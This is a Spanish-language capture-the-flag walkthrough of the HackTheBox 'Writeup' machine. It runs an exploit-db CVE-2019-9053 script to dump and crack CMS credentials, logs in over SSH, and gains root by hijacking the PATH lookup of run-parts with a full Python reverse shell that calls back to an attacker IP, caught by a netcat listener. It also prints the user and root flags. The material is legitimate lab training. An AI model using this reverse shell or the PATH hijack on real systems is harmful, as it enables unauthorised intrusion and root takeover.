---
# System prepended metadata

title: WriteUp Writeup - HackTheBox Machine
tags: [htb, ctf, hackthebox]

---

#### Realizamos un escaneo de puertos con nmap
`$ nmap -sC -sV 10.10.10.138`

#### Realizamos un escaneo de directorios con dirb
`$ dirb http://10.10.10.138/writeup/`

#### Comprobamos el software utilizado por la pagina 
`$ whatweb 10.10.10.138`

#### #Descargamos el CVE-2019-9053
https://www.exploit-db.com/exploits/46635

#### #Utilizamos el CVE para explotar la vulnerabilidad
```
$ chmod +x 46635.py
$ python 46335.py http://10.10.10.138/writeup/
```

#### Si el exploit se lanza bien, nos devolvera las siguientes credenciales
```
[+] Salt for password found: 1
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
```

#### La contraseña esta cifrada por lo tanto
```
Password found: 62def4866937f08cc13bab43bb14e6f7 (MD5)
Password decoded: 5a599ef579066807raykayjay9
Password: raykayjay9
```

#### Entramos por ssh con las credenciales obtenidas
`$ ssh jkr@10.10.10.138`

#### Obtenemos la flag de user
```
$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978
```

#### Descargamos pspy en nuestra maquina local
`$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64`

#### Una vez descargado pspy, lo subimos via ssh con scp
`$ scp pspy64 jkr@10.10.10.138:/home/jkr`

#### Le damos permisos a pspy y lo ejecutamos
```
$ chmod +x pspy64
$ ./pspy64
```

#### Si nos fijamos bien, cuando nos conectamos por ssh hay algo ejecutandose 
`sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new`

#### Por lo tanto lo que haremos sera crear una reverse shell en python 
`$ nano shell.py`

#### Este sera el codigo de nuestra shell, lo cambiamos poniendo nuesta ip y el puerto que queramos
```
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.XX.XX",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

#### Una vez creada la copiamos a la carpeta /usr/local/bin/run-parts y le damos permisos
```
$ cp test.py /usr/local/bin/run-parts
$ chmod +x /usr/local/bin/run-parts
```

#### Luego ponemos una instancia nueva de netcat a la escucha
`$ nc -lvp 4444`

#### Nos desconectamos del ssh, y nos conectamos nuevamente
`$ ssh jkr@10.10.10.138`

#### Luego si nos fijamos la instancia de netcat que abrimos antes, veremos que ya estamos conectados como root, ahora solo queda conseguir la flag de root
```
$ cd root
$ cat root.txt
eeba47f60b48ef92b734f9b6198d7226
```



---





